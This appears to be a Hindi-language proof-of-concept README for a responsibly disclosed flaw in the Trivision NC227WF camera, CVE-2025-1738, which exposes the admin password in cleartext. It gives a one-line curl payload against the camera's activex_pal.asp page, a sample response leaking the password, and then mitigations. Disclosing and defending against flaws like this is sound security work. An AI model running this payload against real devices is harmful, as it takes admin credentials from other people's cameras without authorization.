CVE-2025-1738 - Trivision कैमरा NC227WF PoC

📋 अवलोकन

जिम्मेदार प्रकटीकरण (responsible disclosure) के बाद, दो आधिकारिक CVE निर्दिष्ट किए गए।

CVE	CVSS v3.1	स्कोर	CWE	प्रकार
CVE-2025-1738	AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	6.2	CWE-598	क्लियरटेक्स्ट पासवर्ड एक्सपोज़र

---

🔍 CVE-2025-1738 — क्लियरटेक्स्ट पासवर्ड एक्सपोज़र (CWE-598)

विवरण

कोई भी स्थानीय उपयोगकर्ता पूर्व प्रमाणीकरण की आवश्यकता के बिना एडमिन पासवर्ड को क्लियरटेक्स्ट (plaintext) में प्राप्त कर सकता है।

• हमला वेक्टर: स्थानीय (AV:L)
• CVSS स्कोर: 6.2
• CWE: CWE-598 (संवेदनशील क्वेरी स्ट्रिंग्स के साथ GET अनुरोध विधि का उपयोग)

पेलोड

curl -u admin:whatever http://<CAMERA_IP>:<PORT> --request-target en/player/activex_pal.asp

उदाहरण प्रतिक्रिया

...password=unguessable123!...

एडमिन पासवर्ड प्रतिक्रिया निकाय (response body) के भीतर क्लियरटेक्स्ट में लौटाया जाता है।

---

🛡️ शमन

• यदि Trivision से पैच किया गया संस्करण उपलब्ध है तो फर्मवेयर अपग्रेड करें।
• कैमरे को बाहरी पहुंच के बिना एक समर्पित VLAN पर अलग करें।
• अविश्वसनीय नेटवर्क खंडों से कैमरे के प्रबंधन पोर्ट को फायरवॉल करें।
• डिफ़ॉल्ट क्रेडेंशियल बदलें और नियमित रूप से पासवर्ड रोटेट करें।
• activex_pal.asp और mblogin.asp तक अप्रत्याशित पहुंच की निगरानी करें।

---

📚 संदर्भ

• NVD — CVE-2025-1738
• NVD — CVE-2025-1739

---

⚖️ अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं। किसी भी डिवाइस का परीक्षण करने से पहले हमेशा स्पष्ट अनुमति प्राप्त करें।